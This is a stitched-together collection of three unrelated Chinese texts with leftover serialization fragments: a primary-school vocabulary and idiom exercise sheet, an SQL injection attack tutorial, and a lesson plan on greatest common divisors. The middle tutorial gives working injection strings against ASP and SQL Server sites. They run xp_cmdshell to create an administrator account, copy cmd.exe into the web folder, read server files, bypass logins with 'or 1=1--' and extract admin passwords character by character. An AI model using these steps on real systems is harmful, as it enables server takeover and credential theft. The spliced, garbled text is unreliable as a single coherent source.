@#@( @#@ @#@ @#@) @#@@#@【真题演练】@#@1、1、根据拼音填写汉字@#@贫(ϳí@#@)不毛_____面面相(qù@#@)_____毛骨(sŏng)_____然(wè@#@i)_____为壮观@#@莫(Zhōng)_____一是振聋发(kuì@#@)_____(zhuó@#@)_____尔不群国(bì@#@)_____民穷@#@粗制(là@#@n)_____造群星(cuĭ)(cà@#@n)_______________@#@2.选出字形全部正确的一组。
@#@()@#@A.募捐跋涉偃旗息鼓别出新裁B.安详焦躁骇人听闻广袤无垠@#@c.堕落眺望梦寐以求人才倍出D.肺腑发酵再接再厉猝不及防@#@3、请根据下列加点的字注上拼音,或根据拼音写上汉字。
@#@ @#@@#@好的文学作品就像维生素一样,好的童话更是富含维生素的橘( @#@ @#@ @#@ @#@)子和凤梨。
@#@没有它们,我们只掌握数学、语文、化学、物理等知识,在一段时间内,可以谈笑风shēng( @#@ @#@ @#@ @#@ @#@),显出运筹帷幄( @#@ @#@ @#@ @#@)的样子,但是,当我们缓缓走过一生,特别是经历风雨、bá@#@( @#@ @#@ @#@ @#@)涉险阻、遭遇坎坷时,就会缺少一种强rè@#@n( @#@ @#@ @#@ @#@)的内力。
@#@@#@【今日学习】@#@ @#@@#@1、词语重点知识@#@1、感情色彩:
@#@________、__________、__________。
@#@@#@2、理解方法:
@#@_____________________________________________________@#@2、积累运用@#@1、根据语境在括号中填入恰当的成语。
@#@@#@5月12日,四川省汶川县发生里氏8.0级地震。
@#@该地震波及范围之广,强度之大,在新中国史上是()的。
@#@灾情就是命令,党中央、国务院立刻行动起来。
@#@温家宝总理(),亲赴灾区,慰问灾民。
@#@人民子弟兵数十万大军,(),从空中、陆上、水上向灾区集结。
@#@在医院,义务献血的人();@#@在单位,自愿捐款的人()。
@#@在海外,华人、华侨也纷纷,向灾区人民献爱心。
@#@我坚信,只要我们()、(),中国人民一定能战胜这场特大自然灾害。
@#@@#@2、选出下列句子中加点词语使用正确的一项。
@#@()@#@A、这起由犯罪分子呕心沥血精心策划的抢劫案以失败而告终。
@#@@#@B、在这场意外事故中,我们大家都获益匪浅。
@#@@#@C、我今年去了桂林,那里的行云流水,让人感到美不胜收。
@#@@#@D、”神舟九号”腾空而起,飞向苍穹,壮观的景象令人叹为观止。
@#@@#@3、在美好的日子里,人们常用成语或四字词语来表达祝福,下面是新年时的祝福语,请在横线上补写恰当的成语。
@#@@#@佳节到,新年到!
@#@祝您,二龙腾飞,三阳开泰,四季平安,五福临门,__________,七星高照,八方来财,九九同心,,百事可乐,千事吉祥,___________!
@#@@#@4、补全成语。
@#@@#@大义()然聚精()神完()归赵迫不()待自相()盾@#@直()了当通()达旦兴高()烈故弄()虚()胆忠心炉火纯()坚持不()半()而()不()而()性()中人@#@翻()覆()伤痕()()专()致()和()可亲漫()遍()欢()喜()扬()避()争()恐()瞻()顾()情不自()@#@图()匕()苟()残()生机()()自()自()咄咄()人东()西()南()北()前()后()左()右()弄()成()化()为()承()启()@#@5、下列成语使用恰当的一项是()@#@A.这幅漫画夸张而传神,连美术老师看了都忍俊不禁地笑了。
@#@@#@B.这份试卷中的第1.2题她足足花了十分钟时间才完成,真是小题大做。
@#@@#@C.攀登过峭拔雄伟的华山,领略过“一日四季”的太白山,但他依然对村子里的小山情有独钟。
@#@@#@D.如果能掌握科学的学习方法,就会收到事倍功半的效果。
@#@@#@6、下列横线处应填的词语,依次正确的一项是()@#@①平时不好好学习,考试时却想取得好成绩,这无疑是_____。
@#@@#@②随着科学技术的发展,人类的_____正在不断地变为现实。
@#@@#@③只有抱定坚定的_____,理想才能变成现实。
@#@@#@④老师的鼓励使他_____大增,它又自信地站到了起跑线上。
@#@@#@A.痴想幻想信心信念B.痴想幻想信念信心C.幻想痴想信念信心D.幻想痴想信心信念@#@7、将用错的广告词恢复原貌,将正确的写在括号里:
@#@@#@消炎药广告词:
@#@快治人口——()营养液广告词——口蜜腹健()@#@8、根据“大方”的不同意思造句。
@#@@#@A.不小气_______________________________________________ @#@ @#@B.不拘束_______________________________________________ @#@@#@9、在括号里填入合适的词。
@#@@#@()的笑容()的生活()的火光()地拥向河岸@#@悄悄地()得意地()()的新年热烈地()@#@10、补足歇后语:
@#@@#@
(1)()借东风――巧用天时
(2)()借荆州――有借无还@#@(3)()进曹营――一言不发(4)()刮骨下棋――若无其事@#@11、“这些日子,家中光景很惨淡,一半是为了丧事,一半为了父亲赋闲”中的“光景”与下列哪句中的“光景”意思相同?
@#@( @#@ @#@) @#@@#@A.这姑娘看上去只有八九岁光景。
@#@ @#@B.在这村子里,就数他家光景好。
@#@ @#@@#@C.今天太闷热,光景是要下雨。
@#@ @#@【真题演练】@#@1、请各用一个成语替换下面语段中加横线的部分,使语言更精炼。
@#@@#@一年级到五年级的成功经验告诉我们------生活就像一条千回百折的小溪,需要我们有无论遭受多少挫折决不退缩(A)的勇气。
@#@生活是一位公正的裁判,他不会偏袒那些青葱岁月的"@#@游戏"@#@者。
@#@如果没有脚踏实的跋涉,一切愿望都是非常空虚不切实际的(B)。
@#@生活中有酸甜苦辣,也有喜悦、苦恼、悲哀、快乐(C)。
@#@我们要踏着青春的节拍,快快行进属于自己的脚步,做一个勇敢的不断向前奋进(D)的开拓者,赢得少年无悔。
@#@@#@A_______B__________C_________D____________@#@2、选出下列句中加点成语使用恰当的一项。
@#@()@#@A.对于导游提出的几条建议,大家都随声附和。
@#@@#@B.站在大桥上,他看见巨轮从桥下驶过,真是明察秋毫。
@#@@#@c.明天就要决赛了,他哪还有闲情逸致去逛街。
@#@@#@D.走出地下储物间,小男孩贪得无厌地呼吸着新鲜空气。
@#@@#@3、下列句子中,画线的成语使用不当的一项是()@#@";i:
11;s:
19697:
"SQL注入式攻击@#@什么是注入式攻击@#@随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。
@#@但是由于程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。
@#@用户可以提交一段数据库查询代码,根@#@据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQLInjection,即SQL注入。
@#@@#@SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别,所以目前市面的防火墙都不会对SQL注入发出警报,如果管理员没查看IIS日志的习惯,可能被入侵很长时间都不会发觉。
@#@但是,SQL注入的手法相当灵活,在注入的时候会碰到很多意外的情况。
@#@能不能根据具体情况进行分析,构造巧妙的SQL语句,从而成功获取想要的数据。
@#@@#@据统计,网站用ASP+Access或SQLServer的占70%以上,PHP+MySQ占L20%,其他的不足10%。
@#@在本文,以SQL-SERVER+ASP例说明SQL注入的原理、方法与过程。
@#@(PHP注入的文章由NB联盟的另一位朋友zwell撰写的有关文章)@#@SQL注入攻击的总体思路是:
@#@@#@l发现SQL注入位置;@#@@#@l判断后台数据库类型;@#@@#@l确定XP_CMDSHELL可执行情况@#@l发现WEB虚拟目录@#@l上传ASP木马;@#@@#@l得到管理员权限;@#@@#@一、SQL注入漏洞的判断@#@一般来说,SQL注入一般存在于形如:
@#@等带有参数的ASP动态网页中,有时一个动态网页中可能只有一个参数,有时可能有N个参数,有时是整型参数,有时是字符串型参数,不能一概而论。
@#@总之只要是带有参数的动态网页且此网页访问了数据库,那么就有可能存在SQL注入。
@#@如果ASP程序员没有安全意识,不进行必要的字符过滤,存在SQL注入的可能性就非常大。
@#@@#@为了全面了解动态网页回答的信息,首选请调整IE的配置。
@#@把IE菜单-工具-Internet选项-高级-显示友好HTTP错误信息前面的勾去掉。
@#@@#@为了把问题说明清楚,以下以为例进行分析,YY可能是整型,也有可能是字符串。
@#@@#@1、整型参数的判断@#@当输入的参数YY为整型时,通常abc.asp中SQL语句原貌大致如下:
@#@@#@select*from表名where字段=YY,所以可以用以下步骤测试SQL注入是否存在。
@#@@#@①'@#@;@#@(附加一个单引号),此时abc.ASP中的SQL语句变成了@#@select*from表名where字段=YY'@#@,abc.asp运行异常;@#@@#@②and1=1,abc.asp运行正常,而且与运行结果相同;@#@@#@③and1=2,abc.asp运行异常;@#@@#@如果以上三步全面满足,abc.asp中一定存在SQL注入漏洞。
@#@@#@2、字符串型参数的判断@#@当输入的参数YY为字符串时,通常abc.asp中SQL语句原貌大致如下:
@#@@#@select*from表名where字段='@#@YY'@#@,所以可以用以下步骤测试SQL注入是否存在。
@#@@#@①'@#@;@#@(附加一个单引号),此时abc.ASP中的SQL语句变成了@#@select*from表名where字段=YY'@#@,abc.asp运行异常;@#@@#@②...39;@#@1'@#@='@#@1'@#@,abc.asp运行正常,而且与运行结果相同;@#@@#@ @#@@#@ ③...39;@#@1'@#@='@#@2'@#@,abc.asp运行异常;@#@@#@如果以上三步全面满足,abc.asp中一定存在SQL注入漏洞。
@#@@#@3、特殊情况的处理@#@有时ASP程序员会在程序员过滤掉单引号等字符,以防止SQL注入。
@#@此时可以用以下几种方法试一试。
@#@@#@①大小定混合法:
@#@由于VBS并不区分大小写,而程序员在过滤时通常要么全部过滤大写字符串,要么全部过滤小写字符串,而大小写混合往往会被忽视。
@#@如用SelecT代替select,SELECT等;@#@@#@②UNICODE法:
@#@在IIS中,以UNICODE字符集实现国际化,我们完全可以IE中输入的字符串化成UNICODE字符串进行输入。
@#@如+=%2B,空格=%20等;@#@URLEncode信息参见附件一;@#@@#@③ASCII码法:
@#@可以把输入的部分或全部字符全部用ASCII码代替,如U=chr(85),a=chr(97)等,ASCII信息参见附件二;@#@@#@二、区分数据库服务器类型@#@一般来说,ACCESS与SQL-SERVER是最常用的数据库服务器,尽管它们都支持T-SQL标准,但还有不同之处,而且不同的数据库有不同的攻击方法,必须要区别对待。
@#@@#@1、利用数据库服务器的系统变量进行区分@#@SQL-SERVER有user,db_name()等系统变量,利用这些系统值不仅可以判断SQL-SERVER,而且还可以得到大量有用信息。
@#@如:
@#@@#@①anduser>@#@0不仅可以判断是否是SQL-SERVER,而还可以得到当前连接到数据库的用户名@#@②...db_name()>@#@0不仅可以判断是否是SQL-SERVER,而还可以得到当前正在使用的数据库名;@#@@#@2、利用系统表@#@ACCESS的系统表是msysobjects,且在WEB环境下没有访问权限,而SQL-SERVER的系统表是sysobjects,在WEB环境下有访问权限。
@#@对于以下两条语句:
@#@@#@①and(selectcount(*)fromsysobjects)>@#@0@#@②and(selectcount(*)frommsysobjects)>@#@0@#@若数据库是SQL-SERVE,则第一条,abc.asp一定运行正常,第二条则异常;@#@若是ACCESS则两条都会异常。
@#@@#@3、MSSQL三个关键系统表@#@sysdatabases系统表:
@#@MicrosoftSQLServer上的每个数据库在表中占一行。
@#@最初安装SQLServer时,sysdatabases包含master、model、msdb、mssqlweb和tempdb数据库的项。
@#@该表只存储在master数据库中。
@#@这个表保存在master数据库中,这个表中保存的是什么信息呢?
@#@这个非常重要。
@#@他是保存了所有的库名,以及库的ID和一些相关信息。
@#@@#@这里我把对于我们有用的字段名称和相关说明给大家列出来。
@#@name//表示库的名字。
@#@@#@dbid//表示库的ID,dbid从1到5是系统的。
@#@分别是:
@#@master、model、msdb、mssqlweb、tempdb这五个库。
@#@用select*frommaster.dbo.sysdatabases就可以查询出所有的库名。
@#@@#@Sysobjects:
@#@SQL-SERVER的每个数据库内都有此系统表,它存放该数据库内创建的所有对象,如约束、默认值、日志、规则、存储过程等,每个对象在表中占一行。
@#@以下是此系统表的字段名称和相关说明。
@#@@#@Name,id,xtype,uid,status:
@#@分别是对象名,对象ID,对象类型,所有者对象的用户ID,对象状态。
@#@@#@对象类型(xtype)。
@#@可以是下列对象类型中的一种:
@#@@#@C=CHECK约束@#@D=默认值或DEFAULT约束@#@F=FOREIGNKEY约束@#@L=日志@#@FN=标量函数@#@IF=内嵌表函数@#@P=存储过程@#@PK=PRIMARYKEY约束(类型是K)@#@RF=复制筛选存储过程@#@S=系统表@#@TF=表函数@#@TR=触发器@#@U=用户表@#@UQ=UNIQUE约束(类型是K)@#@V=视图@#@X=扩展存储过程@#@当xtype='@#@U'@#@andstatus>@#@0代表是用户建立的表,对象名就是表名,对象ID就是表的ID值。
@#@@#@用:
@#@select*fromChouYFD.dbo.sysobjectswherextype='@#@U'@#@andstatus>@#@0就可以列出库ChouYFD中所有的用户建立的表名。
@#@@#@ @#@ @#@syscolumns:
@#@每个表和视图中的每列在表中占一行,存储过程中的每个参数在表中也占一行。
@#@该表位于每个数据库中。
@#@主要字段有:
@#@@#@name,id,colid:
@#@分别是字段名称,表ID号,字段ID号,其中的ID是刚上我们用sysobjects得到的表的ID号。
@#@@#@用:
@#@select*fromChouYFD.dbo.syscolumnswhereid=123456789得到ChouYFD这个库中,表的ID是123456789中的所有字段列表。
@#@@#@三、确定XP_CMDSHELL可执行情况@#@若当前连接数据的帐号具有SA权限,且master.dbo.xp_cmdshell扩展存储过程(调用此存储过程可以直接使用操作系统的shell)能够正确执行,则整个计算机可以通过以下几种方法完全控制,以后的所有步骤都可以省@#@1、...er>@#@0abc.asp执行异常但可以得到当前连接数据库的用户名(若显示dbo则代表SA)。
@#@@#@2、 @#@...me()>@#@0abc.asp执行异常但可以得到当前连接的数据库名。
@#@@#@3、;@#@execmaster..xp_cmdshell"@#@netuseraaabbb/add"@#@--(master是SQL-SERVER的主数据库;@#@名中的分号表示SQL-SERVER执行完分号前的语句名,继续执行其后面的语句;@#@"@#@—"@#@号是注解,表示其后面的所有内容仅为注释,系统并不执行)可以直接增加操作系统帐户aaa,密码为bbb。
@#@@#@4、;@#@execmaster..xp_cmdshell"@#@netlocalgroupadministratorsaaa/add"@#@--把刚刚增加的帐户aaa加到administrators组中。
@#@@#@5、;@#@backuupdatabase数据库名todisk='@#@c:
@#@\inetpub\\save.db'@#@则把得到的数据内容全部备份到WEB目录下,再用HTTP把此文件下载(当然首选要知道WEB虚拟目录)。
@#@@#@6、通过复制CMD创建UNICODE漏洞@#@...dbo.xp_cmdshell"@#@copyc:
@#@\winnt\system32\cmd.exec:
@#@\inetpub\scripts\cmd.exe"@#@便制造了一个UNICODE漏洞,通过此漏洞的利用方法,便完成了对整个计算机的控制(当然首选要知道WEB虚拟目录)。
@#@@#@四、发现WEB虚拟目录@#@只有找到WEB虚拟目录,才能确定放置ASP木马的位置,进而得到USER权限。
@#@有两种方法比较有效。
@#@@#@一是根据经验猜解,一般来说,WEB虚拟目录是:
@#@c:
@#@\inetpub\;@#@D:
@#@\inetpub\;@#@E:
@#@\inetpub\等,而可执行虚拟目录是:
@#@c:
@#@\inetpub\scripts;@#@D:
@#@\inetpub\scripts;@#@E:
@#@\inetpub\scripts等。
@#@@#@二是遍历系统的目录结构,分析结果并发现WEB虚拟目录;@#@@#@先创建一个临时表:
@#@temp@#@...mp(idnvarchar(255),num1nvarchar(255),num2nvarchar(255),num3nvarchar(255));@#@--@#@接下来:
@#@@#@
(1)我们可以利用xp_availablemedia来获得当前所有驱动器,并存入temp表中:
@#@@#@erttemp...ter.dbo.xp_availablemedia;@#@--@#@我们可以通过查询temp的内容来获得驱动器列表及相关信息@#@
(2)我们可以利用xp_subdirs获得子目录列表,并存入temp表中:
@#@@#@intotemp(i...dbo.xp_subdirs'@#@c:
@#@\'@#@;@#@--@#@(3)我们还可以利用xp_dirtree获得所有子目录的目录树结构,并寸入temp表中:
@#@@#@intotemp(id,num1)execmaster.dbo.xp_dirtree'@#@c:
@#@\'@#@;@#@--@#@这样就可以成功的浏览到所有的目录(文件夹)列表:
@#@@#@如果我们需要查看某个文件的内容,可以通过执行xp_cmdsell:
@#@@#@intotemp(id)exec...nbsp;@#@'@#@typec:
@#@\web\index.asp'@#@;@#@--@#@使用'@#@bulkinsert'@#@语法可以将一个文本文件插入到一个临时表中。
@#@如:
@#@bulkinserttemp(id)from'@#@c:
@#@\inetpub\\index.asp'@#@@#@浏览temp就可以看到index.asp文件的内容了!
@#@通过分析各种ASP文件,可以得到大量系统信息,WEB建设与管理信息,甚至可以得到SA帐号的连接密码。
@#@@#@当然,如果xp_cmshell能够执行,我们可以用它来完成:
@#@@#@intotemp(id)&@#@nbs...cmdshell'@#@dirc:
@#@\'@#@;@#@--@#@intotemp(id)&@#@n...p_cmdshell'@#@dirc:
@#@\*.asp/s/a'@#@;@#@--@#@通过xp_cmdshell我们可以看到所有想看到的,包括W3svc@#@intotemp(id)execmaster.dbo.xp_cmdshe...ub\AdminScripts\adsutil.vbsenumw3svc'@#@@#@但是,如果不是SA权限,我们还可以使用@#@intotemp(id,num1)execmaster.dbo.xp_dirtree'@#@c:
@#@\'@#@;@#@--@#@注意:
@#@@#@1、以上每完成一项浏览后,应删除TEMP中的所有内容,删除方法是:
@#@@#@fromtemp;@#@--@#@2、浏览TEMP表的方法是:
@#@(假设TestDB是当前连接的数据库名)@#@and(selecttop&@#@...nbsp;@#@TestDB.dbo.temp)>@#@0得到表TEMP中第一条记录id字段的值,并与整数进行比较,显然abc.asp工作异常,但在异常中却可以发现id字段的值。
@#@假设发现的表名是xyz,则@#@and(selecttop1idfrom @#@...ereidnotin('@#@xyz'@#@))>@#@0得到表TEMP中第二条记录id字段的值。
@#@@#@五、上传ASP木马@#@所谓ASP木马,就是一段有特殊功能的ASP代码,并放入WEB虚拟目录的Scripts下,远程客户通过IE就可执行它,进而得到系统的USER权限,实现对系统的初步控制。
@#@上传ASP木马一般有两种比较有效的方法:
@#@@#@1、利用WEB的远程管理功能@#@许多WEB站点,为了维护的方便,都提供了远程管理的功能;@#@也有不少WEB站点,其内容是对于不同的用户有不同的访问权限。
@#@为了达到对用户权限的控制,都有一个网页,要求用户名与密码,只有输入了正确的值,才能进行下一步的操作,可以实现对WEB的管理,如上传、下载文件,目录浏览、修改配置等。
@#@@#@因此,若获取正确的用户名与密码,不仅可以上传ASP木马,有时甚至能够直接得到USER权限而浏览系统,上一步的"@#@发现WEB虚拟目录"@#@的复杂操作都可省略。
@#@@#@用户名及密码一般存放在一张表中,发现这张表并读取其中内容便解决了问题。
@#@以下给出两种有效方法。
@#@@#@A、注入法:
@#@@#@从理论上说,认证网页中会有型如:
@#@@#@select*fromadminwhereusername='@#@XXX'@#@andpassword='@#@YYY'@#@的语句,若在正式运行此句之前,没有进行必要的字符过滤,则很容易实施SQL注入。
@#@@#@如在用户名文本框内输入:
@#@abc'@#@or1=1--在密码框内输入:
@#@123则SQL语句变成:
@#@@#@select*fromadminwhereusername='@#@abc'@#@or1=1andpassword='@#@123'@#@不管用户输入任何用户名与密码,此语句永远都能正确执行,用户轻易骗过系统,获取合法身份。
@#@@#@B、猜解法:
@#@@#@基本思路是:
@#@猜解所有数据库名称,猜出库中的每张表名,分析可能是存放用户名与密码的表名,猜出表中的每个字段名,猜出表中的每条记录内容。
@#@@#@l猜解所有数据库名称@#@and(selectcount(*)frommaster.dbo.sysdatabaseswherename>@#@1anddbid=6)<@#@>@#@0因为dbid的值从1到5,是系统用了。
@#@所以用户自己建的一定是从6开始的。
@#@并且我们提交了name>@#@1(name字段是一个字符型的字段和数字比较会出错),abc.asp工作异常,可得到第一个数据库名,同理把DBID分别改成7,8,9,10,11,12...就可得到所有数据库名。
@#@@#@以下假设得到的数据库名是TestDB。
@#@@#@l猜解数据库中用户名表的名称@#@猜解法:
@#@此方法就是根据个人的经验猜表名,一般来说,user,users,member,members,userlist,memberlist,userinfo,manager,admin,adminuser,systemuser,@#@systemusers,sysuser,sysusers,sysaccounts,systemaccounts等。
@#@并通过语句进行判断@#@and(selectcount(*)fromTestDB.dbo.表名)>@#@0若表名存在,则abc.asp工作正常,否则异常。
@#@如此循环,直到猜到系统帐号表的名称。
@#@@#@读取法:
@#@SQL-SERVER有一个存放系统核心信息的表sysobjects,有关一个库的所有表,视图等信息全部存放在此表中,而且此表可以通过WEB进行访问。
@#@@#@当xtype='@#@U'@#@andstatus>@#@0代表是用户建立的表,发现并分析每一个用户建立的表及名称,便可以得到用户名表的名称,基本的实现方法是:
@#@@#@①and(selecttop1namefromTestD...type='@#@U'@#@andstatus>@#@0)>@#@0得到第一个用户建立表的名称,并与整数进行比较,显然abc.asp工作异常,但在异常中却可以发现表的名称。
@#@假设发现的表名是xyz,则@#@②and(selecttop1namefromTestDB.dbo.sysobjects&@#@...tatus>@#@0andnamenotin('@#@xyz'@#@))>@#@0可以得到第二个用户建立的表的名称,同理就可得到所有用建立的表的名称。
@#@@#@根据表的名称,一般可以认定那张表用户存放用户名及密码,以下假设此表名为Admin。
@#@@#@l猜解用户名字段及密码字段名称@#@admin表中一定有一个用户名字段,也一定有一个密码字段,只有得到此两个字段的名称,才有可能得到此两字段的内容。
@#@如何得到它们的名称呢,同样有以下两种方法。
@#@@#@猜解法:
@#@此方法就是根据个人的经验猜字段名,一般来说,用户名字段的名称常用:
@#@username,name,user,account等。
@#@而密码字段的名称常用:
@#@password,pass,pwd,passwd等。
@#@并通过语句进行判断@#@and(selectcount(字段名)fromTestDB.dbo.admin)>@#@0"@#@selectcount(字段名)from表名"@#@语句得到表的行数,所以若字段名存在,则abc.asp工作正常,否则异常。
@#@如此循环,直到猜到两个字段的名称。
@#@@#@读取法:
@#@基本的实现方法是@#@and(select @#@...me(object_id('@#@admin'@#@),1)fromTestDB.dbo.sysobjects)>@#@0。
@#@selecttop1col_name(object_id('@#@admin'@#@),1)fromTestDB.dbo.sysobjects是从sysobjects得到已知表名的第一个字段名,当与整数进行比较,显然abc.asp工作异常,但在异常中却可以发现字段的名称。
@#@把col_name(object_id('@#@admin'@#@),1)中的1依次换成2,3,4,5,6...就可得到所有的字段名称。
@#@@#@l猜解用户名与密码@#@猜用户名与密码的内容最常用也是最有效的方法有:
@#@@#@ASCII码逐字解码法:
@#@虽然这种方法速度较慢,但肯定是可行的。
@#@基本的思路是先猜出字段的长度,然后依次猜出每一位的值。
@#@猜用户名与猜密码的方法相同,以下以猜用户名为例说明其过程。
@#@@#@and(selecttop&@#@n...nbsp;@#@fromTestDB.dbo.admin)=X(X=1,2,3,4,5,...n,username为用户名字段的名称,admin为表的名称),若x为某一值i且abc.asp运行正常时,则i就是第一个用户名的长度。
@#@如:
@#@当输入@#@and(selecttop...e)fromTestDB.dbo.admin)=8时abc.asp运行正常,则第一个用户名的长度为8@#@and(sel... @#@ascii(substring(username,m,1))fromTestDB.dbo.admin)=n(m的值在1到上一步得到的用户名长度之间,当m=1,2,3,...时猜测分别猜测第1,2,3,...位的值;@#@n的值是1~9、a~z、A~Z的ASCII值,也就是1~128之间的任意值;@#@admin为系统用户帐号表的名称),若n为某一值i且abc.asp运行正常时,则i对应ASCII码就是用户名某一位值。
@#@如:
@#@当输入@#@and(sel... @#@ascii(substring(username,3,1))fromTestDB.dbo.admin)=80时abc.asp运行正常,则用户名的第三位为P(P的ASCII为80);@#@@#@and(sel... @#@ascii(substring(username,9,1))fromTestDB.dbo.admin)=33时abc.asp运行正常,则用户名的第9位为!
@#@(!
@#@的ASCII为80);@#@@#@猜到第一个用户名及密码后,同理,可以猜出其他所有用户名与密码。
@#@注意:
@#@有时得到的密码可能是经MD5@#@";i:
12;s:
11851:
"五年级数学《最大公因数》教学设计@#@ @#@@#@《最大公因数》教学设计@#@ @#@@#@《最大公因数》教学设计@#@教学内容:
@#@@#@义务教育课程标准实验教材教科书五年级下册P79-81。
@#@@#@教学目的:
@#@@#@1、使学生通过动手操作探索形成公因数、最大公因数概念,并掌握用求两个数的最大公因数的方法。
@#@@#@2、培养学生分析、归纳等思维能力。
@#@@#@3、激发学生自主学习、积极探索和合作交流的良好习惯。
@#@@#@教学重点、难点:
@#@@#@公因数与最大公因数的概念的建立,探索找两个数的最大公因数。
@#@@#@教具准备:
@#@@#@课件,印有长方形的纸,不同边长的正方形纸片、水彩笔。
@#@@#@教学过程:
@#@@#@一、复习旧知,为新知打好铺垫@#@师:
@#@我们已经学过因数与倍数的知识,那谁来说说12的因数有哪些?
@#@16的因数呢?
@#@谁是所有自然数都含有的因数?
@#@并且它还是最……。
@#@(学生回答,教师课件出示。
@#@)@#@师:
@#@今天要学的新知识就和因数和倍数有密切的联系,这节课上我要看看谁最会学习,能联系旧知识来学习新知识。
@#@@#@二、创设情境,引导动手操作@#@1、课件出示主题图,引入新课@#@师:
@#@现在咱们的生活条件好了,几乎家家室内的地面上都铺上了地砖,铺上地砖以后显得非常的整洁和美观,王叔叔家的贮藏室也要铺地砖了,可选择什么样的地砖让他挺伤脑筋,能帮帮他吗?
@#@我们来看看他的要求。
@#@(师放课件)@#@师:
@#@再仔细看看,王叔叔对于地砖有什么要求?
@#@(当学生提到一些重点要求,例如:
@#@整块,整分米时,教师利用课件使这些重点要求下面出现下划线。
@#@)@#@2、提出问题@#@师:
@#@整分米是什么意思?
@#@整块呢?
@#@(学生回答。
@#@如果学生解释不清教师可以稍作引导。
@#@)@#@师:
@#@在铺地时有时剩余的部分放不下一块地砖时,我们就要把地砖进行切割,那么这样做符合王叔叔的要求吗?
@#@@#@师:
@#@王叔叔家贮藏室的地面是长16分米,宽12分米的长方形,要用边长是整分米的整块正方形地砖把它铺满,该选择边长是几分米的地砖?
@#@(生回答)@#@3、引导探索@#@师:
@#@到底哪种方砖符合王叔叔的要求呢?
@#@还有没有其他答案,咱们亲自动手试一试好吗?
@#@@#@师:
@#@每位同学都有一张纸,上面的长方形代表贮藏室长16分米宽12分米的地面,老师还为每组同学准备了一个学具盒,学具盒里的几种正方形纸片,代表了几种边长为整分米的正方形地砖,你们可以动笔在纸上画一画,也可以动手铺一铺,每位同学选择一种边长的“地砖”铺在“地面”上,只要铺满一条长边和一条宽边就可以了,然后小组内展示交流,选出符合条件的方砖。
@#@@#@学生动手操作,教师引导。
@#@@#@二、探究新知@#@1、认识公因数和最大公因数@#@
(1)讨论交流@#@师:
@#@通过亲自动手铺,找到符合要求的地砖了吗?
@#@谁来汇报一下你们的结果。
@#@@#@学生汇报。
@#@@#@师:
@#@边长一分米的方砖沿着长边和宽边各铺几块?
@#@(学生回答的同时教师演示课件。
@#@)@#@师:
@#@看来边长1分米2分米4分米的方砖确实符合要求,那你们为什么不选择边长3分米和5分米的地砖呢?
@#@师演示。
@#@为什么?
@#@边长是5分米呢?
@#@@#@
(2)抽象公因数概念@#@师:
@#@我们发现边长1、2、4分米的地砖能铺满,而且是整块数,其它的都不行。
@#@那“1、2、4”与16和12到底有着什么特殊关系呢?
@#@@#@(1、2、4不仅是16的因数又是12的因数。
@#@1、2、4是12和16的公因数)@#@师:
@#@同意吗?
@#@(能听懂他的意思吗?
@#@说的是什么?
@#@)那我们就用以前的方法找找16、12的因数。
@#@@#@16的因数12的因数@#@ @#@@#@你发现什么?
@#@@#@(我发现1、2、4既是12的因数又是16的因数。
@#@)@#@我们还可以用集合圈来表示16和12因数:
@#@@#@16的因数12的因数@#@中间相交的部分填什么?
@#@表示什么?
@#@(1、2、4是12和16公有的因数,1、2、4是12和16的公因数)(随着学生回答,师课件演示。
@#@)@#@说能说一说什么是公因数?
@#@(几个数公有的因数,就是这几个数的公因数。
@#@)@#@那这圈里的(指左边、右边)填什么?
@#@表示什么?
@#@(学生一边回答,教师一边出示课件,逐步完成上图)@#@一起说说,1、2、4是16和12的公有的因数,叫做它们的公因数。
@#@@#@(3)游戏:
@#@@#@①课件出示游戏规则:
@#@学号是12的因数而不是18的因数的同学站左边,是18的因数而不是12的因数的站右边,是12和18公因数的站中间。
@#@@#@②以上学号的学生按要求在讲台前站成一排。
@#@@#@③教师先请是12的因数、18的因数的同学分别举手,再请12和18公因数、12的独有因数和18的独有因数的同学分别举手,其他同学判断对错。
@#@@#@④教师课件演示以上过程,使学生进一步加深对公因数的理解。
@#@@#@(4)认识最大公因数@#@如果王叔叔想用最少的块数铺好地面,你会也推荐边长是几分米的地砖?
@#@@#@你是怎么想的?
@#@(从公因数中找最大的。
@#@边长大的话占地面积就要大,铺的块数就要少)@#@实际上4就是16和12的公因数中最大的一个,我们给它起一个名子叫:
@#@“最大公因数”(板书)@#@16和12的最大公因数是4。
@#@@#@三、合作交流、探索方法@#@1、大家刚才帮助王叔叔解决储藏室地面铺设问题,还认识了两个新朋友,他们是?
@#@如果王叔叔还想给厨房铺上抛光砖,出示平面图。
@#@找出尺寸(长27分米,宽18分米)王叔叔的要求同铺储藏室的一样,你会帮他解决吗?
@#@还需要给你画一画操作一次吗?
@#@怎样找他们的最大公因数呢?
@#@@#@2、把你的想法跟同桌交流一下,两人合作,可以在练习本上写出你们是怎样找这两个数的最大公因数的。
@#@@#@3、交流反馈。
@#@@#@怎样找27和18的最大公因数?
@#@@#@4、这些方法实际都是属于列举法,在解决问题时你可以选择自己喜欢的方法。
@#@@#@5、观察两个数的公因数和它们的最大公因数,你有什么发现?
@#@(两个数的公因数也是它们最大公因数的因数。
@#@)@#@是不是都有这样的关系呢?
@#@学生求16和12的公因数和最大公因数,验证发现。
@#@@#@如果告诉你两个数的最大公因数是6,你能说出这两个数的公因数有那些?
@#@@#@6、总结求两个数最大公因数的方法。
@#@@#@先请学生说说,然后教师概括总结,并出示课件。
@#@@#@7、知识应用。
@#@(课件出示下题)@#@求下面两组数的最大公因数:
@#@@#@24和3218和30@#@四、巩固提高@#@1、找出下列每组数的最大公因数@#@4和813和171和78和9@#@你发现了什么?
@#@@#@教师对学生的发现概括总结,并课件出示。
@#@@#@同桌互相举例验证。
@#@@#@2、我会选。
@#@@#@
(1)9和16的最大公因数是()@#@A.1B.3C.4D.9@#@
(2)16和18的最大公因数是()@#@A.2B.4C.8D.16@#@(3)甲数是乙数的倍数,甲乙两数的最大公因数是()@#@A.1B.甲数C.乙数D.甲、乙两数的积@#@3、帮2
(1)班同学排队。
@#@@#@男女生分别排队,要使每排的人数相同,每排最多有多少人?
@#@@#@男生@#@24人@#@女生@#@18人@#@五、知识拓展。
@#@@#@1、师:
@#@5和7的最大公因数是几?
@#@@#@2、学生独自在练习本上完成。
@#@@#@3、交流反馈。
